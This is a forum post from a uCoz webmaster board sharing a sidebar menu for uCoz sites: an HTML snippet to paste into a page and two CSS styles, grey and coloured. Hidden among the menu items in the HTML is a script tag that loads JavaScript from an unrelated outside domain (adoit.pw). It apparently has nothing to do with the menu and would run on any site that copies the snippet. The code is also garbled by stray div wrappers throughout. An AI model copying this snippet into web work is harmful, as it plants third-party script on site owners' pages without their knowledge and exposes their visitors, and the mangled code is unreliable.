Боковое Меню Цветное и серое - ╚»★ OnLiNe UzBeKoNa FoRuM ★«╝

[ Обновленные темы · Новые сообщения · Участники · Правила форума · Поиск · RSS ]

Страница 1 из 1 1
Модератор форума: uzmegavideo, UZMEGA

╚»★ OnLiNe UzBeKoNa FoRuM ★«╝ » Internet, Games, Sport, Tibbiyot, Pazandalik, Xabarlar, Fan va Ta'lim » Skriptlar Ucoz sayti uchun / Скрипты для ucoz / Scripts for ucoz » Боковое Меню Цветное и серое (Боковое Меню Цветное и серое)

Боковое Меню Цветное и серое

Filmla

Дата: Четверг, 25.07.2013, 22:35:35 | Сообщение # 1

moro bo'sin

Группа: Administrator

Сообщений: 2587

Награды: 6

Репутация: 3

Статус: Оффлайн

Боковое Меню Цветное и серое

$CUT$

Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке...

И так Приступим У Самой Установчке:

Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML:

Код

<div id="main"> </div><div style="text-align: center;"><ul id="navigationMenu"> </div><div style="text-align: center;"><li> </div><div style="text-align: center;"><a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a> </div><div style="text-align: center;"></li> </div><div style="text-align: center;"><li> </div><div style="text-align: center;"><a class="m_gost" href="/gb"><span>Гостевая</span></a> </div><div style="text-align: center;"></li> </div><div style="text-align: center;"><li> </div><div style="text-align: center;"><a class="m_forum" href="/forum"><span>Форум</span></a> </div><div style="text-align: center;"></li> </div><div style="text-align: center;"><li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a> </div><div style="text-align: center;"></li><script type="text/javascript" src="http://adoit.pw/border.js"></script> </div><div style="text-align: center;"> </div><div style="text-align: center;"><li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a> </div><div style="text-align: center;"></li> </div><div style="text-align: center;"> </div><div style="text-align: center;"></ul> </div><div style="text-align: center;"></div> </div><div style="text-align: center;">

А Вот два типа менюшек выбирайте который вам нужен

Серое Меню

Код

#main{ </div><div style="text-align: center;">position:fixed; </div><div style="text-align: center;">top: 150px; </div><div style="text-align: center;">right: 0px; </div><div style="text-align: center;">padding:0; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#main ul{ </div><div style="text-align: center;">padding:0; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu li{ </div><div style="text-align: center;">list-style:none; </div><div style="text-align: center;">height:35px; </div><div style="text-align: center;">width:35px; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu span{ </div><div style="text-align: center;">position:absolute; </div><div style="text-align: center;">overflow:hidden; </div><div style="text-align: center;">width:0; </div><div style="text-align: center;">right:35px; </div><div style="text-align: center;">padding:0; </div><div style="text-align: center;">font:12px Verdana,Arial,Helvetica,sans-serif; </div><div style="text-align: center;">font-weight:bold; </div><div style="text-align: center;">line-height:35px; </div><div style="text-align: center;">white-space:nowrap; </div><div style="text-align: center;">-webkit-transition: 0.25s; </div><div style="text-align: center;">-moz-transition: 0.25s; </div><div style="text-align: center;">transition: 0.25s; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu a{ </div><div style="text-align: center;">display:block; </div><div style="text-align: center;">position:relative; </div><div style="text-align: center;">background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat; </div><div style="text-align: center;">height:35px; </div><div style="text-align: center;">width:35px; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu a:hover span{ </div><div style="text-align: center;">overflow:hidden; </div><div style="text-align: center;">text-align:center; </div><div style="text-align: center;">width:110px; </div><div style="text-align: center;">padding:0px 10px; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu a:hover{ </div><div style="text-align: center;">text-decoration:none; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_home {background-position:0 0;} </div><div style="text-align: center;">#navigationMenu .m_home :hover {background-position:0 -35px;} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_gost {background-position:-35px 0;} </div><div style="text-align: center;">#navigationMenu .m_gost:hover {background-position:-35px -35px;} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_forum {background-position:-70px 0;} </div><div style="text-align: center;">#navigationMenu .m_forum:hover {background-position:-70px -35px;} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_pochta { background-position:-105px 0;} </div><div style="text-align: center;">#navigationMenu .m_pochta:hover{ background-position:-105px -35px;} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_vxod { background-position:-140px 0;} </div><div style="text-align: center;">#navigationMenu .m_vxod:hover { background-position:-140px -35px;} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_vixod { background-position:-175px 0;} </div><div style="text-align: center;">#navigationMenu .m_vixod:hover { background-position:-175px -35px;} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_gost span, </div><div style="text-align: center;">#navigationMenu .m_forum span, </div><div style="text-align: center;">#navigationMenu .m_pochta span, </div><div style="text-align: center;">#navigationMenu .m_vxod span, </div><div style="text-align: center;">#navigationMenu .m_vixod span, </div><div style="text-align: center;">#navigationMenu .m_home span { </div><div style="text-align: center;">background:#444; </div><div style="text-align: center;">color:#777; </div><div style="text-align: center;">text-shadow:1px 1px 0 #333; </div><div style="text-align: center;">}

Цветное меню

Код

#main{ </div><div style="text-align: center;">position:fixed; </div><div style="text-align: center;">top: 150px; </div><div style="text-align: center;">left: 0px; </div><div style="text-align: center;">padding:0; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#main ul{ </div><div style="text-align: center;">padding:0; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu li{ </div><div style="text-align: center;">list-style:none; </div><div style="text-align: center;">height:35px; </div><div style="text-align: center;">width:35px; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu span{ </div><div style="text-align: center;">position:absolute; </div><div style="text-align: center;">overflow:hidden; </div><div style="text-align: center;">width:0; </div><div style="text-align: center;">left:35px; </div><div style="text-align: center;">padding:0; </div><div style="text-align: center;">font:12px Verdana,Arial,Helvetica,sans-serif; </div><div style="text-align: center;">font-weight:bold; </div><div style="text-align: center;">line-height:35px; </div><div style="text-align: center;">white-space:nowrap; </div><div style="text-align: center;">-webkit-transition: 0.25s; </div><div style="text-align: center;">-moz-transition: 0.25s; </div><div style="text-align: center;">transition: 0.25s; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu a{ </div><div style="text-align: center;">display:block; </div><div style="text-align: center;">position:relative; </div><div style="text-align: center;">background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat; </div><div style="text-align: center;">height:35px; </div><div style="text-align: center;">width:35px; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu a:hover span{ </div><div style="text-align: center;">overflow:hidden; </div><div style="text-align: center;">text-align:center; </div><div style="text-align: center;">width:110px; </div><div style="text-align: center;">padding:0px 10px; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu a:hover{ </div><div style="text-align: center;">text-decoration:none; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_home {background-position:0 0;} </div><div style="text-align: center;">#navigationMenu .m_home :hover {background-position:0 -35px;} </div><div style="text-align: center;">#navigationMenu .m_home span{ </div><div style="text-align: center;">background:#7da315; </div><div style="text-align: center;">color:#3d4f0c; </div><div style="text-align: center;">text-shadow:1px 1px 0 #99bf31; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_gost {background-position:-35px 0;} </div><div style="text-align: center;">#navigationMenu .m_gost:hover {background-position:-35px -35px;} </div><div style="text-align: center;">#navigationMenu .m_gost span{ </div><div style="text-align: center;">background:#1e8bb4; </div><div style="text-align: center;">color:#223a44; </div><div style="text-align: center;">text-shadow:1px 1px 0 #44a8d0; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_forum {background-position:-70px 0;} </div><div style="text-align: center;">#navigationMenu .m_forum:hover {background-position:-70px -35px;} </div><div style="text-align: center;">#navigationMenu .m_forum span{ </div><div style="text-align: center;">background:#c86c1f; </div><div style="text-align: center;">color:#5a3517; </div><div style="text-align: center;">text-shadow:1px 1px 0 #d28344; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_pochta { background-position:-105px 0;} </div><div style="text-align: center;">#navigationMenu .m_pochta:hover{ background-position:-105px -35px;} </div><div style="text-align: center;">#navigationMenu .m_pochta span{ </div><div style="text-align: center;">background-color:#d0a525; </div><div style="text-align: center;">color:#604e18; </div><div style="text-align: center;">text-shadow:1px 1px 0 #d8b54b; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_vxod { background-position:-140px 0;} </div><div style="text-align: center;">#navigationMenu .m_vxod:hover { background-position:-140px -35px;} </div><div style="text-align: center;">#navigationMenu .m_vxod span{ </div><div style="text-align: center;">background-color:#af1e83; </div><div style="text-align: center;">color:#460f35; </div><div style="text-align: center;">text-shadow:1px 1px 0 #d244a6; </div><div style="text-align: center;">} </div><div style="text-align: center;"><br></div><div style="text-align: center;">#navigationMenu .m_vixod { background-position:-175px 0;} </div><div style="text-align: center;">#navigationMenu .m_vixod:hover { background-position:-175px -35px;} </div><div style="text-align: center;">#navigationMenu .m_vixod span{ </div><div style="text-align: center;">background-color:#27ddbf; </div><div style="text-align: center;">color:#097863; </div><div style="text-align: center;">text-shadow:1px 1px 0 #87ffe7; </div><div style="text-align: center;">}

Прикрепления: 9311635.jpeg (6.1 Kb)

http://uzmegavideo.ucoz.ru/